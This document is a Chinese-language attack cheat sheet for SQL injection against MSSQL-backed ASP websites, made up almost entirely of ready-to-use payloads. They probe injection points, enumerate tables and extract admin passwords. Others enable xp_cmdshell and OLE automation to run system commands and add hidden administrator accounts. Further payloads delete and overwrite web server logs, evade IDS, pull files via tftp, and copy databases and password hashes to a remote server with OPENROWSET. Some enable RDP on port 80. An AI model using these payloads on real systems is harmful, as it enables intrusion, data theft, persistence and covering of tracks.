and exists (select * from sysobjects) //判斷是否是MSSQL
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //當前數據庫名
and 1=(select @@servername) //本地服務名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫權限
and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫讀取權限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴庫名DBID為1，2，3....
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判斷XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread擴展存儲過程是不是已經被刪除
添加和刪除一個SA權限的用戶test：（需要SA權限）
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某個服務。 （需要SA權限）
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
暴網站目錄
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
DOS下開3389 並修改端口號
sc config termservice start= auto
net start termservice
//允許外連
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f
//該3389端口到80
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f
SQL Server
判斷是否可注射：
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value' and 1=1
http://www.targer.com/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2
確定數據庫類型：
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0
查詢當前用戶數據信息：
article.asp?id=6 having 1=1--
暴當前表中的列：
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列：
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴數據庫數據：
and (select top 1 password from admin where id=N)>1
修改數據庫中的數據：
;update admin set password='oooooo' where username='xxx'
增添數據庫中的數據：
;insert into admin values (xxx,oooooo)--
刪數據庫：
;drop database webdata
獲取當前數據庫用戶名：and user>0
獲取當前數據庫名：and db_name()>0
獲取數據庫版本：and (select @@version)>0
判斷是否支持多句查詢：;declare @a int--
判斷是否支持子查詢：and (select count(1) from [sysobjects])>=0
數據庫的擴展存儲過程：exec master..xp_cmdshell
查看服務器C盤目錄：;exec_master..xp_cmdshell 'dir c:\'
判斷擴展存儲過程是否存在：and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢復擴展存儲過程：;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
刪除擴展存儲過程：;exec sp_dropextendedproc 'xp_cmdshell'
在MSSQL2000中提供了一些函數用於訪問OLE對象間接獲取權限：
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'
判斷當前數據庫用戶名是否擁有比較高的權限：
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
判斷當前數據庫用戶名是否為DB_OWNER：
and 1=(select is_member('db_owner'))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER數據庫系統中的所有數據庫信息，只需要PUBLIC權限就可以對此表進行SELECT操作：
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
刪除日志記錄：
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
替換日志記錄：
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
獲取WEB路徑：
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索：
;exec master..xp_cmdshell 'dir /s d:/index.asp'
顯示服務器網站配置信息命令：
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC權限讀取：
;exec master.dbo.xp_regread
hkey_local_machine,
'system\currentcontrolset\services\w3svc\parameters\virtual roots\'
'/'
SQLSERVER下的高級技術可以參考閱讀曾雲好所著的精通腳本黑客第五章。
3、DSqlHelper
檢測權限SYSADMIN：
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
檢測XP_CMDSHELL（CMD命令）：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')
檢測XP_REGREAD（注冊表讀取功能）：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
檢測SP_MAKEWEBTASK（備份功能）：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
檢測SP_ADDEXTENDEDPROC：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')
檢測XP_SUBDIRS讀子目錄：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')
檢測XP_DIRTREE讀子目錄：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')
修改內容：
; UPDATE 表名 set 字段=內容 where 1=1
XP_CMDSHELL檢測：
;exec master..xp_cmdshell 'dir c:\'
修復XP_CMDSHELL：
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
用XP_CMDSHELL添加用戶hacker：
;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用戶hacker加到ADMIN組：
;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
創建表test：
;create table [dbo].[test] ([dstr][char](255));
檢測表段test：
and exists (select * from test)
讀取WEB的位置（讀注冊表）：
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);--
爆出WEB的絕對路徑（顯錯模式）：
and 1=(select count(*) from test where dstr > 1)
刪除表test：
;drop table test;--
創建查看目錄的表dirs：
;create table dirs(paths varchar(100), id int)
把查看目錄的內容加入表dirs：
;insert dirs exec master.dbo.xp_dirtree 'c:\'
爆目錄的內容dirs：
and 0<>(select top 1 paths from dirs)
備份數據庫DATANAME：
declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';--
刪除表dirs：
;drop table dirs;--
創建表temp：
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
把驅動盤列表加入temp表：
;insert temp exec master.dbo.xp_availablemedia;--
刪除表temp：
;delete from temp;--
創建表dirs：
;create table dirs(paths varchar(100), id int);--
獲得子目錄列表XP_SUBDIRS：
;insert dirs exec master.dbo.xp_subdirs 'c:\';--
爆出內容（顯錯模式）：
and 0<>(select top 1 paths from dirs)
刪除表dirs：
;delete from dirs;--
創建表dirs：
;create table dirs(paths varchar(100), id int)--
用XP_CMDSHELL查看目錄內容：
;insert dirs exec master..xp_cmdshell 'dir c:\'
刪除表dirs：
;delete from dirs;--
檢測SP_OAcreate（執行命令）：
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')
SP_OAcreate執行CMD命令：
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add'
SP_OAcreate建目錄：
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'
創建一個虛擬目錄E盤：
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認 Web 站點" -v "e","e:\"'
設置虛擬目錄E為可讀：
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
啟動SERVER服務：
;exec master..xp_servicecontrol 'start', 'server'
繞過IDS檢測XP_CMDSHELL：
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
開啟遠程數據庫1：
; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
開啟遠程數據庫2：
;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
1.判斷有無注入點
' ; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號的第二位
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和密碼.只要把后面的數字換成中文的ASSIC碼就OK.最后把結果再轉換成字符.
看服務器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--
看數據庫連接賬號的權限,返回正常,證明是服務器角色sysadmin權限.
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判斷連接數據庫帳號.（采用SA賬號連接 返回正常=證明了連接賬號是SA）
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否刪除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--
xp_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向PING自己實驗
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帳號
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'--
創建一個虛擬目錄E盤:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點"
-v "e","e:\"'--
訪問屬性:（配合寫入一個webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse'
爆庫 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
如何得到SQLSERVER某個數據庫中所有表的表名?
--------------------------------------------------------------------------------
用戶表:
select name from sysobjects where xtype = 'U';
系統表:
select name from sysobjects where xtype = 'S';
所有表:
select name from sysobjects where xtype = 'S' or xtype = 'U';
--------------------------------------------------------------------------------
and 0<>(select top 1 paths from newtable)--
得到庫名（從1到5都是系統的id,6以上才可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表
假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in ('Admin')) 來得到其他的表.
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin'
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一個admin的一個字段,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
('id',...)) 來暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼.....假設存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union,access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
@value_name='/', values=@test OUTPUT insert into paths(path)
values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$
/add';--
exec master..xp_servicecontrol 'start', 'schedule' 啟動服務
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net
localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上傳文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to
disk='你的IP你的共享目錄bak.dat'
如果被限制則可以.
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec
master.dbo.sp_addlogin hax')
查詢構造:
Select * FROM news Where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and
right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈.
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where
xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u'
and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where
xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where
name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--
上面的語句是得到數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中.
通過查看ffff的用戶資料可得第一個用表叫ad
然后根據表名ad得到這個表的ID 得到第二個表的名字
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access數據庫
枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and
status>0);--
這是將第一個表名更新到aaa的字段處.
讀出第一個表,第二個表可以這樣讀出來（在條件后加上 and name<>'剛才得到的表名'）.
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and
status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有為止.
讀字段是這樣:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名
[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and
status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件] select top 1 name from
sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [
where 條件]
繞過IDS的檢測[使用變量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
1、 開啟遠程數據庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',
'select * from table1' )
參數: (1) OLEDB Provider name
2、 其中連接字符串參數可以是任何端口用來連接,比如
select * from OPENROWSET('SQLOLEDB',
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select *
from table'
3.復制目標主機的整個數據庫insert所有遠程表到本地表.
基本語法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',
'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程數據庫中的table1表中.實際運用中適當修改連接字符串的IP地址和端口,指向需要的地方,比如:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1') select * from table2
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _sysobjects')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _syscolumns')
select * from user_database.dbo.syscolumns
復制數據庫:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1') select * from database..table1
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table2') select * from database..table2
復制哈西表（HASH）登錄密碼的hash存儲於sysxlogins中.方法如下:
insert into OPENROWSET('SQLOLEDB',
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from
_sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,就可以進行暴力破解.
遍歷目錄的方法: 先創建一個臨時表:temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
獲得所有子目錄的目錄樹結構,並寸入temp表中
';insert into temp(id) exec master.dbo.xp_cmdshell 'type
c:\web\index.asp';-- 查看某個文件的內容
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
（xp_dirtree適用權限PUBLIC）
寫入表:
語句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--
語句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--
語句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--
語句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
語句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
語句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--
語句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
語句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
語句9:and 1=(Select IS_MEMBER('db_owner'));--
把路徑寫到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'c:\'--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--
把數據庫備份到網頁目錄:下載
;declare @a sysname; set @a=db_name();backup database @a to
disk='e:\web\down.bak';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where
xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects)
參看相關表.
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe'--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
''
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong
to,us', 528
waitfor delay '00:00:05'
'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty
@o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel
servers are belong to us', 528 waitfor delay '00:00:05'--
xp_dirtree適用權限PUBLIC
exec master.dbo.xp_dirtree 'c:\'
返回的信息有兩個字段subdirectory、depth.Subdirectory字段是字符型,depth字段是整形字段.
create table dirs(paths varchar(100), id int)
建表,這里建的表是和上面xp_dirtree相關連,字段相等、類型相同.
insert dirs exec master.dbo.xp_dirtree 'c:\'
只要我們建表與存儲進程返回的字段相定義相等就能夠執行!達到寫表的效果,一步步達到我們想要的信息